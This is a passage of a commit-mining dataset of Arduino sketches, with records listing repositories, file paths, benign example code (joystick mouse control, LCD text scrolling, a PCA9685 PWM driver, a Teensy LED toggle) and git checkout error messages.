duino,NaSymbol\/Arduino,superboonie\/Arduino,01org\/Arduino,fungxu\/Arduino,eggfly\/arduino,croberts15\/Energia,vigneshmanix\/Energia,cevatbostancioglu\/Energia,paulmand3l\/Arduino,Chris--A\/Arduino,croberts15\/Energia,jomolinare\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,acosinwork\/Arduino,EmuxEvans\/Arduino,381426068\/Arduino,majenkotech\/Arduino,spapadim\/Arduino,superboonie\/Arduino,ari-analytics\/Arduino,ricklon\/Arduino,danielohh\/Energia,snargledorf\/Arduino,zaiexx\/Arduino,ogahara\/Arduino,tannewt\/Arduino,xxxajk\/Arduino-1,wilhelmryan\/Arduino,acosinwork\/Arduino,mc-hamster\/esp8266-Arduino,i--storm\/Energia,byran\/Arduino,wilhelmryan\/Arduino,tomkrus007\/Arduino,Protoneer\/Arduino,niggor\/Arduino_cc,Gourav2906\/Arduino,raimohanska\/Arduino,jaej-dev\/Arduino,sanyaade-iot\/Arduino-1,jadonk\/Energia,qtonthat\/Energia,adamkh\/Arduino,sanyaade-iot\/Energia,laylthe\/Arduino,jaehong\/Xmegaduino,shannonshsu\/Arduino,jadonk\/Energia,brianonn\/Energia,meanbot\/Energia,stevemayhew\/Arduino,eggfly\/arduino,jaej-dev\/Arduino,Ramoonus\/Arduino,ntruchsess\/Arduino-1,tskurauskas\/Arduino,jmgonzalez00449\/Arduino,ikbelkirasan\/Arduino,dvdvideo1234\/Energia,toddtreece\/esp8266-Arduino,drpjk\/Arduino,EmuxEvans\/Arduino,rcook\/DesignLab,Gourav2906\/Arduino,zederson\/Arduino,tomkrus007\/Arduino,ricklon\/Arduino,jaimemaretoli\/Arduino,xxxajk\/Arduino-1,vigneshmanix\/Energia,ms-iot\/Arduino,diydrones\/Arduino,pdNor\/Arduino,paulo-raca\/ESP8266-Arduino,ForestNymph\/Arduino_sources,ektor5\/Arduino,stickbreaker\/Arduino,pasky\/Energia,vigneshmanix\/Energia,chaveiro\/Arduino,zacinaction\/Energia,me-no-dev\/Arduino-1,Cloudino\/Arduino,battosai30\/Energia,PaoloP74\/Arduino,garci66\/Arduino,karlitxo\/Arduino,DavidUser\/Energia,pasky\/Energia,bugobliterator\/BUAGI,tskurauskas\/Arduino,noahchense\/Arduino-1,bobintornado\/Energia,EmuxEvans\/Arduino,noahchense\/Arduino-1,rcook\/DesignLab,gestrem\/Arduino,odbol\/Arduino,gurbrinder\/Arduino,danielchalef\/Arduino,cscenter\/Arduino,eduardocasarin\/Arduino,tannewt\/Arduino,steamboating\/Arduino,stevemayhew\/Arduino,rodibot\/Arduino,tskurauskas\/Arduino,vigneshmanix\/Energia,wayoda\/Arduino,andrealmeidadomingues\/Arduino,OpenDevice\/Arduino,bigjosh\/Arduino,adafruit\/ESP8266-Arduino,wayoda\/Arduino,adamkh\/Arduino,croberts15\/Energia,stevemarple\/Arduino-org,nandojve\/Arduino,UDOOboard\/Arduino,rcook\/DesignLab,tommyli2014\/Arduino,NaSymbol\/Arduino,Gourav2906\/Arduino,andyvand\/Arduino-1,ssvs111\/Arduino,raimohanska\/Arduino,martianmartin\/Energia,lukeWal\/Arduino,kidswong999\/Arduino,UDOOboard\/Arduino,pdNor\/Arduino,KlaasDeNys\/Arduino,toddtreece\/esp8266-Arduino,mateuszdw\/Arduino,bsmr-arduino\/Arduino,championswimmer\/Arduino,NaSymbol\/Arduino,sanyaade-iot\/Energia,ogferreiro\/Arduino,probonopd\/Arduino,acosinwork\/Arduino,me-no-dev\/Arduino-1,jmgonzalez00449\/Arduino,i--storm\/Energia,zederson\/Arduino,NicoHood\/Arduino,gberl001\/Arduino,ricklon\/Arduino,wayoda\/Arduino,PaoloP74\/Arduino,adafruit\/ESP8266-Arduino,piersoft\/esp8266-Arduino,ashwin713\/Arduino,nandojve\/Arduino,bigjosh\/Arduino,jamesrob4\/Arduino,NoPinky\/Energia,ccoenen\/Arduino,me-no-dev\/Arduino-1,acosinwork\/Arduino,bugobliterator\/BUAGI,mboufos\/esp8266-Arduino,scdls\/Arduino,fungxu\/Arduino,radut\/Arduino,danielohh\/Energia,raimohanska\/Arduino,stevemarple\/Arduino,stevemarple\/Arduino,PaoloP74\/Arduino,damellis\/Arduino,ari-analytics\/Arduino,jaimemaretoli\/Arduino,paulo-raca\/ESP8266-Arduino,odbol\/Arduino,ogferreiro\/Arduino,andrealmeidadomingues\/Arduino,Chris--A\/Arduino,i--storm\/Energia,jaej-dev\/Arduino,nkolban\/Arduino,PeterVH\/Arduino,NoPinky\/Energia,NicoHood\/Arduino,mboufos\/esp8266-Arduino,tbowmo\/Arduino,sanyaade-iot\/Arduino-1,bigjosh\/Arduino,rodibot\/Arduino,jabezGit\/Arduino,ektor5\/Arduino,mateuszdw\/Arduino,tomkrus007\/Arduino,jaimemaretoli\/Arduino,karlitxo\/Arduino,ikbelkirasan\/Arduino,sanyaade-iot\/Arduino-1,jaehong\/Xmegaduino,ntruchsess\/Arduino-1,tskurauskas\/Arduino,wilhelmryan\/Arduino,qtonthat\/Energia,qtonthat\/Energia,martianmartin\/Energia,NicoHood\/Arduino,jaej-dev\/Arduino,ari-analytics\/Arduino,NeuralSpaz\/Arduino,shiitakeo\/Arduino,KlaasDeNys\/Arduino,mc-hamster\/esp8266-Arduino,leftbrainstrain\/Arduino-ESP8266,drpjk\/Arduino,lukeWal\/Arduino,bsmr-arduino\/Arduino,ashwin713\/Arduino,jamesrob4\/Arduino,HCastano\/Arduino,NaSymbol\/Arduino,lukeWal\/Arduino,tommyli2014\/Arduino,zederson\/Arduino,DavidUser\/Energia,eggfly\/arduino,talhaburak\/Arduino,weera00\/Arduino,arduino-org\/Arduino,steamboating\/Arduino,UDOOboard\/Arduino,radut\/Arduino,Cloudino\/Cloudino-Arduino-IDE,lulufei\/Arduino,onovy\/Arduino,ssvs111\/Arduino,pasky\/Energia,aichi\/Arduino-2,xxxajk\/Arduino-1,vigneshmanix\/Energia,scdls\/Arduino,brianonn\/Energia,smily77\/Arduino,radut\/Arduino,plaintea\/esp8266-Arduino,garci66\/Arduino,mangelajo\/Arduino,NaSymbol\/Arduino,lukeWal\/Arduino,eduardocasarin\/Arduino,qtonthat\/Energia,ThoughtWorksIoTGurgaon\/Arduino,martianmartin\/Energia,radut\/Arduino,rodibot\/Arduino,raimohanska\/Arduino,zederson\/Arduino,noahchense\/Arduino-1,Protoneer\/Arduino,bigjosh\/Arduino,linino\/Arduino,stevemarple\/Arduino-org,ari-analytics\/Arduino,chaveiro\/Arduino,xxxajk\/Arduino-1,snargledorf\/Arduino,smily77\/Arduino,jabezGit\/Arduino,danielchalef\/Arduino,tbowmo\/Arduino,ogferreiro\/Arduino,danielchalef\/Arduino,ms-iot\/Arduino,381426068\/Arduino,adafruit\/ESP8266-Arduino,wdoganowski\/Arduino,Cloudino\/Cloudino-Arduino-IDE,01org\/Arduino,tommyli2014\/Arduino,EmuxEvans\/Arduino,arunkuttiyara\/Arduino,Chris--A\/Arduino,gestrem\/Arduino,ms-iot\/Arduino,mattvenn\/Arduino,ThoughtWorksIoTGurgaon\/Arduino,majenkotech\/Arduino,plinioseniore\/Arduino,381426068\/Arduino,meanbot\/Energia,talhaburak\/Arduino,benwolfe\/esp8266-Arduino,shannonshsu\/Arduino,KlaasDeNys\/Arduino,zederson\/Arduino,eduardocasarin\/Arduino,Protoneer\/Arduino,jaej-dev\/Arduino,381426068\/Arduino,plaintea\/esp8266-Arduino,tommyli2014\/Arduino,cscenter\/Arduino,wilhelmryan\/Arduino,mangelajo\/Arduino,nandojve\/Arduino,NeuralSpaz\/Arduino,championswimmer\/Arduino,paulmand3l\/Arduino,NeuralSpaz\/Arduino,ricklon\/Arduino,jaimemaretoli\/Arduino,garci66\/Arduino,croberts15\/Energia,rodibot\/Arduino,noahchense\/Arduino-1,ikbelkirasan\/Arduino,ccoenen\/Arduino,01org\/Arduino,byran\/Arduino,Chris--A\/Arduino,shiitakeo\/Arduino,jomolinare\/Arduino,brianonn\/Energia,cscenter\/Arduino,SmartArduino\/Arduino-1,Orthogonal-Systems\/arduino-libs,aichi\/Arduino-2,martianmartin\/Energia,HCastano\/Arduino,drpjk\/Arduino,cevatbostancioglu\/Energia,gestrem\/Arduino,henningpohl\/Arduino,wdoganowski\/Arduino,eddyst\/Arduino-SourceCode,bugobliterator\/BUAGI,myrtleTree33\/Arduino,Ramoonus\/Arduino,ogahara\/Arduino,aichi\/Arduino-2,steamboating\/Arduino,Cloudino\/Cloudino-Arduino-IDE,leftbrainstrain\/Arduino-ESP8266,jaehong\/Xmegaduino,eeijcea\/Arduino-1,jomolinare\/Arduino,karlitxo\/Arduino,linino\/Arduino,niggor\/Arduino_cc,arduino-org\/Arduino,cscenter\/Arduino,jmgonzalez00449\/Arduino,bsmr-arduino\/Arduino,battosai30\/Energia,kidswong999\/Arduino,ccoenen\/Arduino,byran\/Arduino,sanyaade-iot\/Energia,ashwin713\/Arduino,tomkrus007\/Arduino,jabezGit\/Arduino,linino\/Arduino,plinioseniore\/Arduino,eddyst\/Arduino-SourceCode,acosinwork\/Arduino,wayoda\/Arduino,zacinaction\/Energia,croberts15\/Energia,zederson\/Arduino,garci66\/Arduino,eeijcea\/Arduino-1,sanyaade-iot\/Energia,wayoda\/Arduino,NicoHood\/Arduino,Chris--A\/Arduino,brianonn\/Energia,zaiexx\/Arduino,andrealmeidadomingues\/Arduino,ricklon\/Arduino,snargledorf\/Arduino,jadonk\/Energia,PaoloP74\/Arduino,ikbelkirasan\/Arduino,gestrem\/Arduino,Protoneer\/Arduino,ccoenen\/Arduino,381426068\/Arduino,stevemayhew\/Arduino,radut\/Arduino,mc-hamster\/esp8266-Arduino,cscenter\/Arduino,shiitakeo\/Arduino,shannonshsu\/Arduino,gurbrinder\/Arduino,chaveiro\/Arduino,eddyst\/Arduino-SourceCode,stevemarple\/Arduino,diydrones\/Arduino,weera00\/Arduino,myrtleTree33\/Arduino,me-no-dev\/Arduino-1,vbextreme\/Arduino,fungxu\/Arduino,paulmand3l\/Arduino,dvdvideo1234\/Energia,ashwin713\/Arduino,tbowmo\/Arduino,gberl001\/Arduino,zaiexx\/Arduino,henningpohl\/Arduino,noahchense\/Arduino-1,lulufei\/Arduino,paulmand3l\/Arduino,UDOOboard\/Arduino,adamkh\/Arduino,meanbot\/Energia,eduardocasarin\/Arduino,eeijcea\/Arduino-1,diydrones\/Arduino,HCastano\/Arduino,steamboating\/Arduino,i--storm\/Energia,PeterVH\/Arduino,ashwin713\/Arduino,steamboating\/Arduino,drpjk\/Arduino,bobintornado\/Energia,superboonie\/Arduino,ricklon\/Arduino,Orthogonal-Systems\/arduino-libs,rcook\/DesignLab,DavidUser\/Energia,tommyli2014\/Arduino,arduino-org\/Arduino,pdNor\/Arduino,bobintornado\/Energia,Protoneer\/Arduino,SmartArduino\/Arduino-1,karlitxo\/Arduino,Ramoonus\/Arduino,bobintornado\/Energia,OpenDevice\/Arduino,PaintYourDragon\/Arduino,sanyaade-iot\/Arduino-1,byran\/Arduino,jaimemaretoli\/Arduino,381426068\/Arduino,ssvs111\/Arduino,spapadim\/Arduino,nandojve\/Arduino,garci66\/Arduino,garci66\/Arduino,Cloudino\/Arduino,gonium\/Arduino,paulmand3l\/Arduino,piersoft\/esp8266-Arduino,ari-analytics\/Arduino,wdoganowski\/Arduino,acosinwork\/Arduino,ashwin713\/Arduino,danielohh\/Energia,i--storm\/Energia,danielchalef\/Arduino,lulufei\/Arduino,NeuralSpaz\/Arduino,EmuxEvans\/Arduino,sanyaade-iot\/Energia,me-no-dev\/Arduino-1,Cloudino\/Cloudino-Arduino-IDE,probonopd\/Arduino,benwolfe\/esp8266-Arduino,adamkh\/Arduino,eggfly\/arduino,01org\/Arduino,vigneshmanix\/Energia,sanyaade-iot\/Arduino-1,myrtleTree33\/Arduino,piersoft\/esp8266-Arduino,plinioseniore\/Arduino,garci66\/Arduino,ektor5\/Arduino,PeterVH\/Arduino,shannonshsu\/Arduino,chaveiro\/Arduino,weera00\/Arduino,jomolinare\/Arduino,zenmanenergy\/Arduino,Chris--A\/Arduino,NaSymbol\/Arduino,gberl001\/Arduino,probonopd\/Arduino,henningpohl\/Arduino,zenmanenergy\/Arduino,mc-hamster\/esp8266-Arduino,ari-analytics\/Arduino,paulo-raca\/ESP8266-Arduino,scdls\/Arduino,wdoganowski\/Arduino,cevatbostancioglu\/Energia,leftbrainstrain\/Arduino-ESP8266,vbextreme\/Arduino,lukeWal\/Arduino,qtonthat\/Energia,probonopd\/Arduino,radut\/Arduino,nandojve\/Arduino,niggor\/Arduino_cc,pasky\/Energia,ms-iot\/Arduino,shiitakeo\/Arduino,gurbrinder\/Arduino,wilhelmryan\/Arduino,jabezGit\/Arduino,eduardocasarin\/Arduino,adamkh\/Arduino,cevatbostancioglu\/Energia,odbol\/Arduino,odbol\/Arduino,jadonk\/Energia,majenkotech\/Arduino,shiitakeo\/Arduino,radiolok\/Energia,NeuralSpaz\/Arduino,probonopd\/Arduino,NicoHood\/Arduino,gonium\/Arduino,KlaasDeNys\/Arduino,eduardocasarin\/Arduino,xxxajk\/Arduino-1,aichi\/Arduino-2,ogferreiro\/Arduino,paulmand3l\/Arduino,championswimmer\/Arduino,plaintea\/esp8266-Arduino,PaintYourDragon\/Arduino,wayoda\/Arduino,fungxu\/Arduino,ari-analytics\/Arduino,ForestNymph\/Arduino_sources,adafruit\/ESP8266-Arduino,tbowmo\/Arduino,spapadim\/Arduino,spapadim\/Arduino,OpenDevice\/Arduino,stickbreaker\/Arduino,jaej-dev\/Arduino,bugobliterator\/BUAGI,leftbrainstrain\/Arduino-ESP8266,andrealmeidadomingues\/Arduino,tommyli2014\/Arduino,PaoloP74\/Arduino,HCastano\/Arduino,sanyaade-iot\/Arduino-1,stevemarple\/Arduino-org,niggor\/Arduino_cc,plinioseniore\/Arduino,byran\/Arduino,leftbrainstrain\/Arduino-ESP8266,nandojve\/Arduino,chaveiro\/Arduino,KlaasDeNys\/Arduino,damellis\/Arduino,bugobliterator\/BUAGI,arunkuttiyara\/Arduino,PaintYourDragon\/Arduino,gurbrinder\/Arduino,eggfly\/arduino,arunkuttiyara\/Arduino,chaveiro\/Arduino,NoPinky\/Energia,ms-iot\/Arduino,kidswong999\/Arduino,stevemayhew\/Arduino,battosai30\/Energia,OpenDevice\/Arduino,mattvenn\/Arduino,ForestNymph\/Arduino_sources,PeterVH\/Arduino,cevatbostancioglu\/Energia,eeijcea\/Arduino-1,jmgonzalez00449\/Arduino,pdNor\/Arduino,acosinwork\/Arduino,damellis\/Arduino,Chris--A\/Arduino,tbowmo\/Arduino,vbextreme\/Arduino,mateuszdw\/Arduino,mateuszdw\/Arduino,piersoft\/esp8266-Arduino,andyvand\/Arduino-1,Ramoonus\/Arduino,diydrones\/Arduino,andrealmeidadomingues\/Arduino,Cloudino\/Cloudino-Arduino-IDE,kidswong999\/Arduino,weera00\/Arduino,arduino-org\/Arduino,byran\/Arduino,bigjosh\/Arduino,ssvs111\/Arduino,radiolok\/Energia","old_file":"libraries\/Mouse\/examples\/JoystickMouseControl\/JoystickMouseControl.ino","new_file":"libraries\/Mouse\/examples\/JoystickMouseControl\/JoystickMouseControl.ino","new_contents":"\/*\n JoystickMouseControl\n \n Controls the mouse from a joystick on an Arduino Leonardo.\n Uses a pushbutton to turn on and off mouse control.\n \n The mouse movement is always relative. This sketch reads \n two analog inputs that range from 0 to 1023 (or less on either end)\n and translates them into ranges of -60 to 60. \n The sketch assumes that the joystick resting values are around the \n middle of the range, but that they vary within a threshold.\n \n WARNING: When you use the Mouse.move() command, the Arduino takes\n over your mouse! Make sure you have control before you use the command.\n This sketch includes a pushbutton to toggle the mouse control state, so\n you can turn on and off mouse control.\n \n created 15 Sept 2011\n by Tom Igoe\n \n this code is in the public domain\n \n *\/\n\n\/\/ set pin numbers for switch, joystick axes, and LED:\nconst int switchPin = 6; \/\/ switch to turn on and off mouse control\nconst int xAxis = A1; \/\/ joystick X axis \nconst int yAxis = A2; \/\/ joystick Y axis\nconst int ledPin = 5; \/\/ Mouse control LED \n\n\/\/ parameters for reading the joystick:\nint range = 12; \/\/ output range of X or Y movement\nint responseDelay = 2; \/\/ response delay of the mouse, in ms\nint threshold = range\/4; \/\/ resting threshold\nint center = range\/2; \/\/ resting position value\nint minima[] = { \n 1023, 1023}; \/\/ actual analogRead minima for {x, y}\nint maxima[] = {\n 0,0}; \/\/ actual analogRead maxima for {x, y}\nint axis[] = {\n xAxis, yAxis}; \/\/ pin numbers for {x, y}\nint mouseReading[2]; \/\/ final mouse readings for {x, y}\n\n\nboolean mouseIsActive = false; \/\/ whether or not to control the mouse\nint lastSwitchState = LOW; \/\/ previous switch state\n\nvoid setup() {\n pinMode(switchPin, INPUT); \/\/ the switch pin\n pinMode(ledPin, OUTPUT); \/\/ the LED pin \n}\n\nvoid loop() {\n \/\/ read the switch:\n int switchState = digitalRead(switchPin);\n \/\/ if it's changed and it's high, toggle the mouse state:\n if (switchState != lastSwitchState) {\n if (switchState == HIGH) {\n mouseIsActive = !mouseIsActive;\n \/\/ turn on LED to indicate mouse state:\n digitalWrite(ledPin, mouseIsActive);\n } \n }\n \/\/ save switch state for next comparison:\n lastSwitchState = switchState;\n\n\/\/ read and scale the two axes:\n int xReading = readAxis(0);\n int yReading = readAxis(1);\n\n\/\/ if the mouse control state is active, move the mouse:\n if (mouseIsActive) {\n Mouse.move(xReading, yReading, 0);\n } \n delay(responseDelay);\n}\n\n\/*\n reads an axis (0 or 1 for x or y) and scales the \n analog input range to a range from 0 to <range>\n*\/\n\nint readAxis(int axisNumber) {\n int distance = 0; \/\/ distance from center of the output range\n \n \/\/ read the analog input:\n int reading = analogRead(axis[axisNumber]);\n\n\/\/ of the current reading exceeds the max or min for this axis,\n\/\/ reset the max or min:\n if (reading < minima[axisNumber]) {\n minima[axisNumber] = reading;\n }\n if (reading > maxima[axisNumber]) {\n maxima[axisNumber] = reading;\n }\n \n \/\/ map the reading from the analog input range to the output range:\n reading = map(reading, minima[axisNumber], maxima[axisNumber], 0, range);\n \n \/\/ if the output reading is outside from the\n \/\/ rest position threshold, use it:\n if (abs(reading - center) > threshold) {\n distance = (reading - center);\n } \n \n \/\/ the Y axis needs to be inverted in order to \n \/\/ map the movemment correctly:\n if (axisNumber == 1) {\n distance = -distance;\n }\n \n \/\/ return the distance for this axis:\n return distance;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'libraries\/Mouse\/examples\/JoystickMouseControl\/JoystickMouseControl.ino' did not match any file(s) known to git\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"e11b10db767396f5cf7ecc5a5185539385f01932","subject":"Update CoinWallet.ino","message":"Update CoinWallet.ino","repos":"ivegotasthma\/washmashine","old_file":"LaundryMachine\/CoinWallet.ino","new_file":"LaundryMachine\/CoinWallet.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ivegotasthma\/washmashine.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dd685dbb44bcc837a9ca9689a519d30a9e5c9306","subject":"Add documentation and printing","message":"Add documentation and printing\n\nSimple updates to assist in readability and debugging.\n","repos":"MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments,MarsRobotics\/Experiments","old_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/lidar_servo_test\/lidar_servo_test.ino","new_file":"LIDAR Data Extraction\/LidarCommands\/Currently Used\/lidar_servo_test\/lidar_servo_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'LIDAR' did not match any file(s) known to git\nerror: pathspec 'Data' did not match any file(s) known to git\nerror: pathspec 'Extraction\/LidarCommands\/Currently' did not match any file(s) known to git\nerror: pathspec 'Used\/lidar_servo_test\/lidar_servo_test.ino' did not match any file(s) known to git\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"f1a5ad4b1cba9b30d981c406e095bb9b6d6bfc67","subject":"Fixed merge conflict.","message":"Fixed merge conflict.\n","repos":"FirstBuild\/pizzaduino,FirstBuild\/pizzaduino,FirstBuild\/pizzaduino","old_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_file":"PizzaOvenControllerSketch\/PizzaOvenControllerSketch.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FirstBuild\/pizzaduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d8c6d8a50a1404e7d58ad89605b88c9b5cd13165","subject":"\u64cd\u4f5c\u30b3\u30de\u30f3\u30c9\u304c\u5897\u3048\u305f\u3053\u3068\u306b\u5408\u308f\u305b\u3066\u30b5\u30f3\u30d7\u30eb\u3092\u4fee\u6b63","message":"\u64cd\u4f5c\u30b3\u30de\u30f3\u30c9\u304c\u5897\u3048\u305f\u3053\u3068\u306b\u5408\u308f\u305b\u3066\u30b5\u30f3\u30d7\u30eb\u3092\u4fee\u6b63\n","repos":"rmswimkktt\/RedLightSenderNEC","old_file":"example\/RedLightSenderWR_D1S.ino","new_file":"example\/RedLightSenderWR_D1S.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/rmswimkktt\/RedLightSenderNEC.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"ca971f17ca1786696467cbf7c3d5c51cccd8aa3b","subject":"goAhead detection","message":"goAhead detection\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a09adb5e291152fb6845bb7fa0e8710fdaebf556","subject":"added multiple locations","message":"added multiple locations\n","repos":"bojdell\/lodestar,bojdell\/lodestar,bojdell\/lodestar","old_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib\/base_uno_w_lib.ino","new_file":"Microcontroller Code\/libraries\/my_lib\/examples\/base_uno_w_lib\/base_uno_w_lib.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Microcontroller' did not match any file(s) known to git\nerror: pathspec 'Code\/libraries\/my_lib\/examples\/base_uno_w_lib\/base_uno_w_lib.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"85ff72952a32a81895350e340a7c81e33be346c8","subject":"CamelCasingTillYouDrop","message":"CamelCasingTillYouDrop\n","repos":"IrisEdelsmid\/arduinoFun","old_file":"LCD\/LCD_walking_tekst\/Bas_method.ino","new_file":"LCD\/LCD_walking_tekst\/Bas_method.ino","new_contents":"void bas(int offset)\n{\n\n \/* Print a message to the LCD.*\/\n lcd.setCursor(offset, 0); \/* where the cursur wil be*\/\n lcd.print(line1.substring((offset<0)? offset * -1: 0)); \/* The stubstring is a function that removes characters from your string so it works negative('removing') by itself,\n * if you'd give it a nagative value it can't work, so if the given variable, called offset(coming from the startposition)\n * is smaller than 0, it will make it positive for the substring. If not it will make it 0, meaning it wont delete characters\n * from the string(line). Please mind that substring is one word, not two! (sub - string). So no camelcasing here *\/\n lcd.setCursor(offset, 1); \/* (note: line 1 is the second row, since counting begins with 0):*\/\n lcd.print(line2.substring((offset<0)? offset * -1: 0)); \/* same as explanation above O lcd.print line 1''*\/\n delay(700);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'LCD\/LCD_walking_tekst\/Bas_method.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"5686334034fc82319acd06a0cdbd1c1874021c26","subject":"implemented backwards \/ all motor control","message":"implemented backwards \/ all motor control\n","repos":"OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015,OSURoboticsClub\/Rover2015","old_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_file":"software\/embedded\/Arduino Code\/basicDriveCode\/basicDriveCode.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'software\/embedded\/Arduino' did not match any file(s) known to git\nerror: pathspec 'Code\/basicDriveCode\/basicDriveCode.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c2f442daa51f8045d64178539be6188cac8b9c05","subject":"added arduino code to talk to PCA","message":"added arduino code to talk to PCA\n","repos":"robotics-at-maryland\/qubo,robotics-at-maryland\/qubo,robotics-at-maryland\/qubo,robotics-at-maryland\/qubo,robotics-at-maryland\/qubo","old_file":"embedded\/pca_9685\/pca_9685.ino","new_file":"embedded\/pca_9685\/pca_9685.ino","new_contents":"\/* \n Code to talk to our PCA9685 PWM multiplexer using our arduino via I2c\n\n\n\/\/sgillen - stole a lot of this code from this adafruit repo https:\/\/github.com\/adafruit\/Adafruit-PWM-Servo-Driver-Library for a board they sell with this chip on it. \n\/\/had to change the mode flags to get it to work using the internal oscilator\n\n*\/\n\n#include <Wire.h>\n\n\n#define PCA9685_MODE1 0x0\n#define PCA9685_PRESCALE 0xFE\n\n#define PCA9Address 0xFF \/\/ Device address in which is also included the 8th bit for selecting the mode, read in this case.\n#define allCall 0xE0 \/\/address for \"all call\" which should turn all LEDs on\n\n\n#define LED0_ON_L 0x6\n#define LED0_ON_H 0x7\n#define LED0_OFF_L 0x8\n#define LED0_OFF_H 0x9\n\n\nint freq = 1400; \/\/pretty arbitrary, max is 1600\n\n\nuint8_t read8(uint8_t addr) {\n Wire.beginTransmission(PCA9Address);\n Wire.write(addr);\n Wire.endTransmission();\n\n Wire.requestFrom((uint8_t)PCA9Address, (uint8_t)1);\n return Wire.read();\n}\n\nvoid write8(uint8_t addr, uint8_t d) {\n Wire.beginTransmission(PCA9Address);\n Wire.write(addr);\n Wire.write(d);\n Wire.endTransmission();\n}\n\n\nvoid setup() {\n Wire.begin(); \/\/ Initiate th1e Wire library\n Serial.begin(9600);\n delay(100);\n\n \n \n Serial.print(\"Attempting to set freq \");\n Serial.println(freq);\n freq *= 0.9; \/\/ Correct for overshoot in the frequency setting (see issue #11).\n float prescaleval = 25000000;\n prescaleval \/= 4096;\n prescaleval \/= freq;\n prescaleval -= 1;\n\n uint8_t prescale = floor(prescaleval + 0.5);\n \n uint8_t oldmode = read8(PCA9685_MODE1);\n uint8_t oldmode2 = read8(PCA9685_MODE1 + 1);\n\n Serial.println(\"old mode was\");\n Serial.println(oldmode);\n Serial.println(oldmode2);\n \n uint8_t newmode = 0x21;\n write8(PCA9685_MODE1, newmode); \/\/ go to sleep\n write8(PCA9685_PRESCALE, prescale); \/\/ set the prescaler\n \/\/write8(PCA9685_MODE1, oldmode);\n \/\/delay(5);\n \/\/write8(PCA9685_MODE1, oldmode | 0xa1); \n\n\n oldmode = read8(PCA9685_MODE1);\n oldmode2 = read8(PCA9685_MODE1 + 1);\n\n Serial.println(\"new mode is\");\n Serial.println(oldmode);\n Serial.println(oldmode2);\n\n \n \n \n}\nvoid loop() {\n \n\n uint16_t on = 1;\n uint16_t off = 2000;\n\n Wire.beginTransmission(PCA9Address);\n Wire.write(LED0_ON_L+4);\n Wire.write(on);\n Wire.write(on>>8);\n Wire.write(off);\n Wire.write(off>>8);\n Wire.endTransmission();\n\n delay(1000);\n\n Serial.println(read8(LED0_ON_L +4));\n Serial.println(read8(LED0_ON_H+4));\n\n Serial.println();\n\n Serial.println(read8(LED0_OFF_L+4));\n Serial.println(read8(LED0_OFF_H+4)); \n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'embedded\/pca_9685\/pca_9685.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"75ce76eba498c5a494f397c13169708250b8dda3","subject":"test sim800","message":"test sim800\n","repos":"ada\/ws,ada\/ws,ada\/ws,ada\/ws,ada\/ws","old_file":"test-SIM800L\/test-SIM800L.ino","new_file":"test-SIM800L\/test-SIM800L.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ada\/ws.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"aac4b50893b084552aecd8b1ed544aad6ac8e049","subject":"added teensy code","message":"added teensy code\n","repos":"jvshens\/AAG,jvshens\/AAG,jvshens\/AAG","old_file":"teensy.ino","new_file":"teensy.ino","new_contents":"int led = 14;\n\nvoid setup() {\n\nSerial.begin(19200);\n\npinMode(led, OUTPUT);\n\n}\nString inData = \"\";\n\nvoid loop() {\n\nwhile (Serial.available() > 0) {\n char received = Serial.read();\n inData.concat(received);\n\n if (received == '\\n') {\n }\n}\nif (inData == \"led\\n\") {\n digitalWrite(led, HIGH);\n inData == \"\"; \n }\nif (inData == \"ledoff\\n\") {\n digitalWrite(led, LOW);\n inData == \"\";\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'teensy.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} 